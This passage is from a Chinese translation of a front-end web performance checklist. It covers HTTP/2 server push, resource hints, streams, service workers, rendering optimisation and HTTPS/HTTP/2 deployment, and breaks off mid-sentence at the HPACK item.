Philip！**）\n\n需要记住的一些问题是：与可以从任何域触发预加载的“预加载”不同，你只能从自己的域或认证过的域中推送资源。一旦服务器从客户端获得了第一个请求，就可以启动该连接。服务器推送资源落在 Push 缓存中，并在连接终止时被删除。但是，由于 HTTP/2 连接可以在多个选项卡中重复使用，因此也可以使用通过其他选项卡的请求声明推送的资源（**感谢 Inian！**）。\n\n目前，服务器没有简单的方法可以知道要推送资源是否已经存在于[用户缓存之中](https://blog.yoav.ws/tale-of-four-caches/)中，每个用户访问的时候都会推送资源。因此，你可能需要创建 [HTTP/2 的缓存感知服务器推送机制](https://css-tricks.com/cache-aware-server-push/)。如果发现已存在，则可以尝试根据缓存中已有内容的索引从缓存中获取它们，从而避免服务器的全量推送。\n\n但请记住，[新的 `cache-digest` 规范](http://calendar.perfplanet.com/2016/cache-digests-http2-server-push/)否定了手动构建此类“缓存感知”服务器的需要，只需要在 HTTP/2 中声明一个新的帧类型，就可以传达该域名下缓存中已有的内容。因此，它对 CDN 也特别有用。\n\n对于动态内容，当服务器需要一些时间来生成响应时，浏览器无法发出任何请求，因为它不知道页面可能引用的任何子资源。对于这种情况，我们可以预热连接并增加 TCP 拥塞窗口的数量，以便可以更快地完成将来的请求。此外，所有内联资源通常都是服务器推送的良好候选者。事实上，Inian Parameshwaran [针对 HTTP/2 推送与 HTTP 预加载做了很棒的比较的研究](https://dexecure.com/blog/http2-push-vs-http-preload/)，这份高质量的资料包括了你可能想了解的各种细节。是否选择服务器推送？Colin Bendell 的[我是否应该进行服务器推送？](https://shouldipush.com/)可能会为你指明方向。\n\n一句话：正如 Sam Saccone [所说](https://medium.com/@samccone/performance-futures-bundling-281543d9a0d5)，`预加载`适用于将资源的开始下载时间向初始请求靠拢，服务器推送适用于删除完整的 RTT（[等](https://blog.yoav.ws/being_pushy/)，具体取决于服务器的响应时间）- 前提是你得有一个 service worker 用来避免不必要的推送。\n    \n#### 43. 尝试重组 CSS 规则\n\n我们已经习惯了关键的 CSS，但还有一些优化可以超越这一点。Harry Roberts 进行了一项[非凡的研究](https:/csswissdry.com/2018/11/css-and-network-performance/)，得出了相当惊人的结果。例如，将主 CSS 文件拆分为单独的媒体查询可能是个好主意。这样，浏览器将检索具有高优先级的关键 CSS，以及其他具有低优先级的所有内容 —— 最终完全脱离关键路径。\n\n另外，避免将 `<link rel=\"stylesheet\" />` 放在 `async` 标签之前。如果脚本不依赖于样式表，请考虑将阻塞脚本放在阻塞样式之前。如果脚本依赖样式，请将该 JavaScript 一分为二，然后对应将其加载到 CSS 的前后。\n\nScott Jehl 通过[使用 service worker 缓存内联 CSS 文件](https:/www.filamentGroup.com/lab/inlining-cache.html)解决了另一个有趣的问题，这是使用关键 CSS 时常见的问题。基本上，我们将 ID 属性添加到 `style` 元素中，以便使用 JavaScript 时可以轻松找到它，然后一小块 JavaScript 发现 CSS 并使用缓存 API 将其存储在本地浏览器缓存中(其内容类型为 `text/css`)，以便在后续页面中使用。为了不在后续页面上内联引用，而是从外部引用缓存的资源，我们在第一次访问站点时设置了一个 cookie。**瞧！**\n\n- YouTube 视频链接：https://youtu.be/Cjo9iq8k-bc\n\n我们是否[以流的方式进行响应了](https:/jakearchibald.com/2016/stream-ftw/)？使用流，在初始导航请求期间呈现的 HTML 可以充分利用浏览器的流 HTML 解析器。\n\n#### 44. 你有没有将请求设为 stream？\n\n经常被遗忘和忽略的是 [Streams](https://streams.spec.whatwg.org/)提供了一个读或写异步数据块的接口，在任何给定的时间里，内存中可能只有一部分数据块可用。基本上，它们允许发出原始请求的页面在第一块数据可用时立即开始处理响应，并使用针对流优化的解析器逐步显示内容。\n\n我们可以从多个来源创建一个流。例如，可以让 service worker 构造一个流，其中 shell 来自缓存，但主体来自网络，而不是提供一个空的 UI shell 并让 JavaScript 填充它。正如 Jeff Posnick [所说](https:/developers.google.com/web/update/2016/06/sw-readablestream)，如果你的 Web 应用程序由 CMS 提供支持，该 CMS 通过将部分模板缝合在一起呈现 HTML，则可以将该模型直接转换为使用流响应，模板逻辑将复制到 service worker而不是你的服务器中。Jake Archibald 的 [Web Streams 之年](https:/jakearchibald.com/2016/stream-ftw/)文章重点介绍了如何准确地构建它。可以为性能带来[相当明显的提升](https:/www.youtube.com/watch？v=Cjo9iq8k-bc)。\n\n流式处理整个 HTML 响应的一个重要优点是，在初始导航请求期间呈现的 HTML 可以充分利用浏览器的流式 HTML 解析器。页面加载后插入到文档中的 HTML 块(这在通过 JavaScript 填充的内容中很常见)则无法享受这种优化。\n\n浏览器支持怎么样呢？[主流浏览器](https:/caniuse.com/#Search=Streams)，Chrome 52+、Firefox 57+、Safari 和 Edge 均支持该 API，而[所有的现代浏览器中都支持](https://caniuse.com/#search=serviceworker) Service Workers。\n    \n#### 45. 考虑使组件具有连接感知能力\n\n随着不断增长的负载，数据的开销可能[变得很大](https://whatdoesmysitecost.com/)，我们需要尊重选择在访问我们的网站或应用程序时希望节省流量的用户。[Save-Data 客户端提示请求头](https:/developers.google.com/web/update/2016/02/save-data)允许我们为受成本和性能限制的用户定制应用程序及其负载。事实上，你可以[将高 DPI 图像的请求重写为低 DPI 图像请求](https://css-tricks.com/help-users-save-data/)，删除 Web 字体、花哨的视差效果、预览缩略图和无限滚动、关闭视频自动播放、服务器推送、减少显示项目的数量并降低图像质量，甚至改变[交付标记的方式](https://dev.to/addyosmani/adaptive-serving-using-javascript-and-the-network-information-api-331p)。Tim Vereecke 发表了一篇关于 [data-s(h)aver 策略的非常详细的文章](https:/calendar.perplanet.com/2018/data-shaver-policy/)，其中介绍了许多用于数据保存的选项。\n\n目前，只有 Chromium、Android 版本的 Chrome 或桌面设备上的 Data Saver 扩展才支持标识头。最后，你还可以使用 [Network Information API](https:/googlechrome.gitrub.io/samples/network-Information/) 根据网络类型提供[高/低分辨率的图像](https://justmarkup.com/log/2017/11/network-based-image-loading/) 和视频。Network Information API，特别是`navigator.connection.effectiveType`(Chrome62+)使用 `RTT`、`downlink`、`effectiveType`（以及一些[其他值](https://wicg.github.io/netinfo/)）来为用户提供可处理的连接和数据表示。\n\n在这种情况下，Max Stoiber 谈到[连接感知组件](https://mxb.at/blog/connection-aware-components/)。例如，使用 React 时，我们可以编写一个为不同连接类型呈现不同元素的组件。正如 Max 建议的那样，新闻文章中的 `<Media />` 组件或许应该输出为下列的几种形式：\n\n*   `Offline`：带有 `alt` 文本的占位符，\n*   `2G` / `省流` 模式：低分辨率图像，\n*   非视网膜屏的 `3G`：中等分辨率图像，\n*   视网膜屏的 `3G`：高分辨率视网膜图像，\n*   `4G`：高清视频。\n\nDeanHume 提供了一个使用 service worker 的[类似逻辑的实现](https://deanhume.com/dynamic-resources-using-the-network-information-api-and-service-workers/)。对于视频，我们可以在默认情况下显示视频海报，然后显示“播放”图标，在网络更好的情况下显示视频播放器外壳、视频元数据等。作为浏览器不兼容的降级方案，我们可以[监听 `canplaythrough` 事件](https://benrobertson.io/front-end/lazy-load-connection-speed)，并在 `canplaythrough` 事件 2 秒内未触发的情况下使用 `Promise.race()` 来触发资源加载超时。\n\n#### 46. 考虑使组件具有设备内存感知能力\n\n尽管如此，网络连接也只是为我们提供了关于用户上下文的一个视角。更进一步，你还可以动态地[根据可用设备内存调整资源](https://calendar.perfplanet.com/2018/dynamic-resources-browser-network-device-memory/)，使用 [Device Memory API](https:/developers.google.com/web/update/2017/12/Device-Memory)(Chrome63+)。`navigator.deviceMemory` 返回设备的RAM容量（以 GB 为单位），四舍五入到最近的 2 次方。该 API 还具有客户端提示标头 `Device-Memory`，该标头可以提供相同的值。\n\n![DevTools 中的“优先级”列](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/34f6f27f-88a9-425a-910e-39100034def3/devtools-priority-segixq.gif)。\n\nDevTools 中的“优先级”列。图片来源：Ben Schwarz，[关键请求](https://css-tricks.com/the-critical-request/)\n\n#### 47. 做好连接的热身准备以加速交付\n\n使用[资源提示](https://w3c.github.io/resource-hints)来节省 [`dns-prefch`](http://caniuse.com/#search=dns-prefetch)（在后台执行 DNS 查找）的时间。[`preconnect`](http://www.caniuse.com/#search=preconnect) 要求浏览器在后台启动连接握手（DNS、TCP、TLS），[`prefetch`](http://caniuse.com/#search=prefetch)（要求浏览器请求资源）和 [`preload`](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)（除此之外，它并不需要执行它们即可预获取资源）。\n\n现在大部分时间里，我们至少会使用 `preconnect` 和 `dns-prefetch`，并且我们会谨慎地使用 `prefetch` 和 `preload`；只有当您对用户下一步需要哪些资源（例如，当用户处于购买漏斗模型中时）有信心时，才应该使用前者。\n\n请注意，即使使用 `preconnect` 和 `dns-prefetch`，浏览器对要并行查找/连接到的主机数量也有限制，因此基于优先级对它们进行排序是安全的（**感谢 Philip！**）。\n\n事实上，使用资源提示可能是提高性能的最简单的方法，而且[它确实很有效](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)。什么时候用什么？正如 Addy Osmani [曾解释过的](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)，我们应该预先加载我们高度信任的资源，以便在当前页面中使用这些资源。预获取资源可能会用于未来跨边界的导航，例如用户尚未访问的页面所需的 webpack bundles。\n\nAddy 关于[“在 Chrome 中加载优先级”]的文章(https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)准确地展示了 Chrome 是如何解释资源提示的，因此一旦确定了哪些资源对于渲染至关重要，就可以为它们分配高优先级。要查看请求的优先级，可以在 Chrome 的  DevTools 网络请求表（以及 Safari 的 Technology Preview）中启用“优先级”列。\n\n例如，由于字体通常是页面上的重要资源，使用[请求浏览器下载字体](https://css-tricks.com/the-critical-request/#article-header-id-2)的 [`preload`](https://css-tricks.com/the-critical-request/#article-header-id-2) 一直是个好主意。你还可以[动态加载 JavaScript](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/#dynamic-loading-without-execution)，有效地执行延迟加载。另外，由于 `<link rel=\"preload\">` 接受一个 `media` 属性，因此可以基于 `@media` 查询规则选择[可选的资源优先级](https://css-tricks.com/the-critical-request/#article-header-id-3)。\n\n一些[要记住的点](https://dexecure.com/blog/http2-push-vs-http-preload/)：`preload` 有利于[使资源的开始下载时间](https://www.youtube.com/watch?v=RWLzUnESylc)更接近初始请求，但是，预加载的资源会存在内存缓存中，该缓存绑定到发出请求的页面上。`preload` 可以很好地处理 HTTP 缓存：如果 HTTP 缓存中已经存在该资源，则永远不会针对该资源去发送网络请求。\n\n因此，对于最近发现的资源、通过后台图像加载的主页横幅、内联关键的 CSS（或 JavaScript）以及预加载 CSS（或 JavaScript）的其余部分，它非常有用。此外，`preload` 标记只能在浏览器接收到来自服务器的 HTML 并且先行解析器找到 `preload` 标记后才能启动预加载。\n\n通过 HTTP 报头预加载要快一些，因为我们不需要等待浏览器解析 HTML 来启动请求。[预提示](https://www.fastly.com/blog/faster-websites-early-priority-hints) 将提供更多帮助，即使在发送 HTML 的响应头和[优先级提示](https://github.com/WICG/priority-hints)（[即将发布](https://www.chromestatus.com/feature/5273474901737472)）之前就启用预加载，将帮助我们指示脚本的加载优先级。\n\n注意：如果你使用的是 `preload`，`预加载的内容` **必须被定义** 否则就[不会加载任何内容](https://twitter.com/yoavweiss/status/873077451143774209)，另外[不使用预加载字体的话](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)[`跨域`](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)[属性会两次获取数据](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)。\n\n#### 48. 使用 service workers 进行缓存和网络降级\n\n网络上的任何性能优化都赶不上从用户计算机上本地存储的缓存中取数据快。如果你的网站基于 HTTPS 协议，请使用“[Service Workers 的实用指南](https://github.com/lyzadanger/pragmatist-service-worker)”将静态资源缓存到 service worker 缓存中，并存储离线回退(甚至离线页)，然后从用户的计算机检索它们，而不是转向网络。此外，请查看 Jake 的[离线 Cookbook](https://jakearchibald.com/2014/offline-cookbook/) 和免费的 udacity 课程“[离线 Web 应用](https://www.udacity.com/course/offline-web-applications--ud899)”。\n\n浏览器支持怎么样呢？如上所述，它得到了[广泛支持](http://caniuse.com/#search=serviceworker)（Chrome、Firefox、Safari TP、三星浏览器、Edge 17+），降级的话就是去发网络请求。它是否有助于提高性能呢？[当然了，](https://developers.google.com/web/showcase/2016/service-worker-perf)。而且它正在变得更好，例如通过后台抓取，允许从 service worker 进行后台上传/下载等。[Chrome71 中已发布](https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/z5WX-2RMulo/JQqeF3XZAgAJ)。\n\nservice worker 有许多使用案例。例如，可以[实现“离线保存”功能](https://una.im/save-offline/#%F0%9F%92%81)、[处理已损坏图像](https://bitsofco.de/handling-broken-images-with-service-worker/)，介绍[选项卡之间的消息传递](https://www.loxodrome.io/post/tab-state-service-workers/)或[根据请求类型提供不同的缓存策略](https://medium.com/dev-channel/service-worker-caching-strategies-based-on-request-types-57411dd7652c)。一般来说，一种常见的可靠策略是将应用程序外壳与几个关键页面一起存储在 service worker 的缓存中，例如离线页面、前端页面以及对具体场景中可能重要的任何其他页面。\n\n尽管如此，还是有几个问题需要记住。使用 service worker 时，我们需要[注意 Safari 中的范围请求](https://philna.sh/blog/2018/10/23/service-workers-beware-safaris-range-request/)（如果你使用的是 service worker 的工作框，它有一个[范围请求模块](https://developers.google.com/web/tools/workbox/modules/workbox-range-requests)）。如果你在浏览器控制台中偶然发现了 `DOMException: Quota exceeded.` 错误，那么请查看 Gerardo 的文章[当 7KB 等于 7Mb](https://cloudfour.com/thinks/when-7-kb-equals-7-mb/)。\n\nGerardo 写道：“如果你正在构建一个渐进式 Web 应用程序，并且使用 service worker 缓存来自 CDN 的静态资源，并正在经历高速缓存存储膨胀，请确保跨域资源[有适当的 CORS 响应头存在](https://cloudfour.com/thinks/when-7-kb-equals-7-mb/#opaque-responses)，[不要缓存不透明的响应](https://cloudfour.com/thinks/when-7-kb-equals-7-mb/#should-opaque-responses-be-cached-at-all)，通过给 `<img>` 标签设置 `crossorigin` 属性，[将跨域图像资源设为 CORS 模式](https://cloudfour.com/thinks/when-7-kb-equals-7-mb/#opt-in-to-cors-mode)“。\n\n使用 service worker 的一个很好的起点是 [workbox](https://developers.google.com/web/tools/workbox/)，这是一组专门为构建渐进式 Web 应用程序而构建的 service worker 库。\n\n#### 49. 是否在 CDN/Edge 上使用了 service workers，例如，用于 A/B 测试？\n\n在这一点上，我们已经习惯于在客户端上运行 service worker，但是通过[在 CDN 服务器上使用它们](https://blog.cloudflare.com/introducing-cloudflare-workers/)，我们也可以实现用它们来调整边缘性能。\n\n例如，在 A/B 测试中，当 HTML 需要为不同的用户改变其内容时，我们可以[使用 CDN 服务器上的 service worker](https://www.filamentgroup.com/lab/servers-workers.html) 来处理逻辑。我们还可以通过[重写 HTML 流](https://twitter.com/patmeenan/status/1065567680298663937)来加速使用谷歌字体的站点。\n\n#### 50. 优化渲染性能\n\n使用[CSS容器](http://caniuse.com/#search=contain)隔离开销大的组件 —— 例如，限制浏览器样式、画布和画图用于画布外导航或第三方小部件的范围。请确保在滚动页面或设置元素动画时没有延迟，并且始终达到每秒 60 帧。如果这无法实现，那么至少使每秒的帧数保持一致，这比 60 到 15 之间的不定值更可取。使用 CSS 的 [`will-change`](http://caniuse.com/#feat=will-change) 去通知浏览器哪些元素和属性将更改。\n\n此外，度量[运行时渲染性能](https://aerotwist.com/blog/my-performance-audit-workflow/#runtime-performance)（例如，[使用 DevTools 中的 rendering 工具](https://developers.google.com/web/tools/chrome-devtools/rendering-tools/)）。想要快速上手，可以查看 Paul Lewis [关于浏览器渲染优化的免费 udacity 课程](https://www.udacity.com/course/browser-rendering-optimization--ud860)和 Georgy Marchuk 关于[浏览器绘制和 Web 性能思考的文章](https://css-tricks.com/browser-painting-and-considerations-for-web-performance/)。\n\n如果你想深入探讨这个话题，Nolan Lawson 在他的文章中分享了[精确测量布局性能的技巧](https://nolanlawson.com/2018/09/25/accurately-measuring-layout-on-the-web/)，Jason Miller [也给出了替代技术的建议](https://twitter.com/_developit/status/1081682550865752064)。 我们还有 Sergey Chikuyonok 撰写的一篇关于如何[正确制作 GPU 动画](https://www.smashingmagazine.com/2016/12/gpu-animation-doing-it-right/)的文章。快速提示：对 GPU 合成层的更改是[开销最小的](https://blog.algolia.com/performant-web-animations/)，因此，如果你只通过 `opacity` 和 `transform` 触发合成，那就对了。Anna Migas 在她关于[调试 UI 呈现性能](https://vimeo.com/302791098)的演讲中也提供了很多实用的建议。 \n\n#### 51. 是否优化了渲染体验？\n\n虽然组件在页面上的显示顺序以及我们如何将资源提供给浏览器的策略很重要，但我们不应低估[感知性能](https://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/)的作用。这一概念涉及到等待时的心理效应，基本上是让顾客在其他事情发生的时候保持有事可做。这就是[感知管理](https://www.smashingmagazine.com/2015/11/why-performance-matters-part-2-perception-management/)、[抢先启动](https://www.smashingmagazine.com/2015/11/why-performance-matters-part-2-perception-management/#preemptive-start)、[提前完成](https://www.smashingmagazine.com/2015/11/why-performance-matters-part-2-perception-management/#early-completion)和[容忍度管理](https://www.smashingmagazine.com/2015/12/performance-matters-part-3-tolerance-management/)开始发挥作用。\n\n这一切意味着什么？在加载资源时，我们可以尝试始终领先于客户一步，这样在后台繁忙的时候，用户依然感觉页面速度很快。为了让客户参与进来，我们可以测试[框架屏幕](https://twitter.com/lukew/status/665288063195594752)（[实现演示](https://twitter.com/razvancaliman/status/734088764960690176)），而不是loading指示器。添加过渡/动画，简单的[欺骗用户体验](https://blog.stephaniewalter.fr/en/cheating-ux-perceived-performance-and-user-experience/)。不过，请注意：在部署之前应该对骨架屏幕进行测试，因为从各项指标来看，有些[测试表明，骨架屏幕的性能最差](https://www.viget.com/articles/a-bone-to-pick-with-skeleton-screens/)。\n\n> - [译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)\n> - [译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)\n> - [译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)\n> - [译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)\n> - **[译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)**\n> - [译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/front-end-performance-checklist-2019-pdf-pages-6.md",
    "content": "> * 原文地址：[Front-End Performance Checklist 2019 — 6](https://www.smashingmagazine.com/2019/01/front-end-performance-checklist-2019-pdf-pages/)\n> * 原文作者：[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)\n> * 译者：[子非](https://github.com/CoolRice/)\n> * 校对者：[Ivocin](https://github.com/Ivocin)，[weibinzhu](https://github.com/weibinzhu)\n\n# 2019 前端性能优化年度总结 — 第六部分\n\n让 2019 来得更迅速吧~ 你正在阅读的是 2019 年前端性能优化年度总结，始于 2016。\n\n> - [译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)\n> - [译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)\n> - [译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)\n> - [译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)\n> - [译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)\n> - **[译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)**\n\n#### 内容目录\n\n- [HTTP/2](#http2)\n  - [52. 迁移到 HTTPS，然后启用 HTTP/2](#52-迁移到-https-然后启用-http2)\n  - [53. 合适地部署 HTTP/2](#53-合适地部署-http2)\n  - [54. 你的服务器和 CDN 支持 HTTP/2 吗？](#54-你的服务器和-cdn-支持-http2-吗)\n  - [55. OCSP Stapling 是否启用？](#55-ocsp-stapling-是否启用)\n  - [56. 你采用 IPv6 了吗？](#56-你采用-ipv6-了吗)\n  - [57. 是否使用 HPACK 压缩？](#57-是否使用-hpack-压缩)\n  - [58. 确保你的服务器安全稳固](#58-确保你的服务器安全稳固)\n- [测试和监控](#测试和监控)\n  - [59. 你优化过你的审计流程吗？](#59-你优化过你的审计流程吗)\n  - [60. 你测试过代理和过时的浏览器吗？](#60-你测试过代理和过时的浏览器吗)\n  - [61. 你测试过辅助工具的性能吗？](#61-你测试过辅助工具的性能吗)\n  - [62. 是否设置了持续监控？](#62-是否设置了持续监控)\n- [速效方案](#速效方案)\n- [下载清单（PDF，Apple Pages）](#下载清单-pdf-apple-pages)\n- [出发！](#出发)\n\n### HTTP/2\n\n#### 52. 迁移到 HTTPS，然后启用 HTTP/2\n\n随着 Google [推进更安全的 web](https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html) 并最终所有的 HTTP 页面都被 Chrome 视为“不安全”，[向 HTTP/2 环境转变](https://http2.github.io/faq/)已经不可避免。HTTP/2 现在已经得到了[很好的支持](http://caniuse.com/#search=http2)；它没有任何大的改变；并且在大多数情况下，使用它会让你得到出色的性能表现。一旦在已经 HTTPS 运行了，你可以使用 service workes 和 server push 得到[巨大的性能提升](https://www.youtube.com/watch?v=RWLzUnESylc&t=1s&list=PLNYkxOF6rcIBTs2KPy1E6tIYaWoFcG3uj&index=25)（至少长期来看）。\n\n![HTTP/2](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/30dd1821-9800-4f01-91a8-1375d4812144/http-pages-chrome-opt.png)\n\n最终 Google 打算标记所有 HTTP 页面为非安全，并把 Chrome 标记失效 HTTPS 用的红色三角形作为 HTTP 的安全性指示器。（[图像来源](https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html)）\n\n最耗时的工作将会是[迁移至 HTTPS](https://https.cio.gov/faq/)，并且根据你的 HTTP/1.1 用户（使用过时操作系统和浏览器的用户）数量你不得不要考虑过时浏览器的性能优化而发送不同构建的版本，这需要你采纳不同的[构建进程](https://rmurphey.com/blog/2015/11/25/building-for-http2)。注意：配置迁移和新的构建进程会很麻烦且耗时。在本文的余下内容中，我会假设你正在或已经迁移 HTTP/2。\n\n#### 53. 合适地部署 HTTP/2\n\n[为让资源通过 HTTP/2 传递](https://www.youtube.com/watch?v=yURLTwZ3ehk)需要对现在提供资源的方式进行部分修改。你需要在打包成一个大模块和并行加载许多小模块之间找到合适的平衡。[最好的请求就是没有请求](http://alistapart.com/article/the-best-request-is-no-request-revisited)，然而目标是在首次快速分发资源和缓存之间找到一个好的平衡。\n\n一方面，你可能想避免资源全都合并在一起，而是把全部的接口分割成许多小的模块，把它们压缩为构建进程的一部分，通过 [“侦查”途径](https://rmurphey.com/blog/2015/11/25/building-for-http2)引用并并行加载它们。一个文件的改变不需要重新加载全部样式或 JavaScript 。它还[压缩解析时间](https://css-tricks.com/musings-on-http2-and-bundling/)并使每个页面保持少量的资源负载。\n\n另一方面，[打包仍然是个问题](http://engineering.khanacademy.org/posts/js-packaging-http2.htm)。首先，**压缩会受到影响**。大模块压缩会受益于字典复用，而小的独立模块不会。是有一些标准来解决这个问题，但是目前还差得很远。第二，浏览器针对这种流程**还没有做优化**。例如，Chrome 会触发数量和资源数线性相关的[进程间通讯](https://www.chromium.org/developers/design-documents/inter-process-communication)（IPC），这样大量的资源会消耗浏览器运行时。\n\n![渐进式 CSS 加载](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/24d7fcb0-40c3-4ada-abb3-22b8524f9b2d/progressive-css-loading-opt.png)\n\n为了获得使用 HTTP/2 的最佳效果，请考虑[渐进式加载 CSS](https://jakearchibald.com/2016/link-in-body/)，这是来自 Chrome 成员 Jake Archibald 的建议。\n\n你可以尝试[渐进加载式 CSS](https://jakearchibald.com/2016/link-in-body/)。实际上，自从 Chrome 69 开始，body 内的 CSS 已经[不再阻塞 Chrome 的渲染](https://twitter.com/patmeenan/status/1037027969842208777)。显然，这样做不利于使用 HTTP/1.1 的用户，所以你可能需要为不同的浏览器生成并提供不同的构建，来作为你的调度进程一部分，事情会稍微更复杂一些。你可能会使用 [HTTP/2 连接聚合](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/)来避免，它允许你利用 HTTP/2 使用域切分，但实际上并不容易做到，总之，它被不认为是最佳实践。\n\n该怎么做呢？如果你正在运行 HTTP/2，那么发送大约 **6-10 个包** 会是一个不错的折中方案（并且对于老旧浏览器也不会太糟糕）。需要试验和测试来为你的网站找到最佳的平衡。\n\n#### 54. 你的服务器和 CDN 支持 HTTP/2 吗？\n\n不同的服务器和 CDN 可能可能对 HTTP/2 的支持不一样。使用 [TLS 速度快吗？](https://istlsfastyet.com)来检查你的配置，或快速查找服务器的运行情况以及可以支持的功能。\n\n我参考了 Pat Meenan 非常棒的 [HTTP/2 优先级的研究](https://blog.cloudflare.com/http-2-prioritization-with-nginx/)和[测试服务器的支持程度以确定 HTTP/2 优先级](https://github.com/pmeenan/http2priorities)。依据 Pat 的研究，为了让 HTTP/2 优先级能可靠地工作在 Linux 4.9 以及更新的内核上，推荐开启 BBR 堵塞控制和设置 `tcp_notsent_lowat` 为 16 KB（**感谢 Yoav！**）。Andy Davies 在多个浏览器上做了类似的 HTTP/2 优先级研究，[CDN 和云托管服务](https://github.com/andydavies/http2-prioritization-issues#cdns--cloud-hosting-services)。\n\n![TLS 速度快吗？](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/c2102708-944d-46ed-93d9-fa28cd76f232/is-tls-fast-yet-01.png)\n\n[TLS 速度快吗？](https://istlsfastyet.com)允许你在切换到 HTTP/2 时检查你的服务器和 CDN 的配置 ([大预览图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/c2102708-944d-46ed-93d9-fa28cd76f232/is-tls-fast-yet-01.png))\n\n#### 55. OCSP Stapling 是否启用？\n\n通过[在你的服务器上启用 OCSP Stapling](https://www.digicert.com/enabling-ocsp-stapling.htm)，可以加速 TLS 握手。创建在线证书状态协议（Online Certificate Status Protocol）（OCSP）是作为证书撤销列表（Certificate Revocation List）（CRL）协议的代替。两种协议都是用来检查 SSL 证书是否被撤销。然而，OCSP 协议不需要浏览器花费时间下载然后在列表中搜寻证书信息，因此能减少握手需要的时间。\n\n#### 56. 你采用 IPv6 了吗？\n\n因为 [IPv4 地址正在消耗殆尽](https://en.wikipedia.org/wiki/IPv4_address_exhaustion)并且主要的手机网络正在迅速接受 IPv6（美国已经[达到](https://www.google.com/intl/en/ipv6/statistics.html#tab=ipv6-adoption&tab=ipv6-adoption) 50% IPv6 采纳率），[更新你的 DNS 为 IPv6](https://www.paessler.com/blog/2016/04/08/monitoring-news/ask-the-expert-current-status-on-ipv6) 是一个不错的想法，这样在将来可以保持服务器安全稳固。只需要确认网络是否支持双栈 —— 它允许 IPv6 和 IPv4 同时工作。别忘了，IPv6 并不向后兼容。并且，[研究表明](https://www.cloudflare.com/ipv6/) 得益于邻居发现（NDP）和路由优化， IPv6 使这些网站提速了 10 到 15%。\n\n#### 57. 是否使用 HPACK 压缩？\n\n如果你在使用 HTTP/2，请确保检查你的服务器为 HTTP 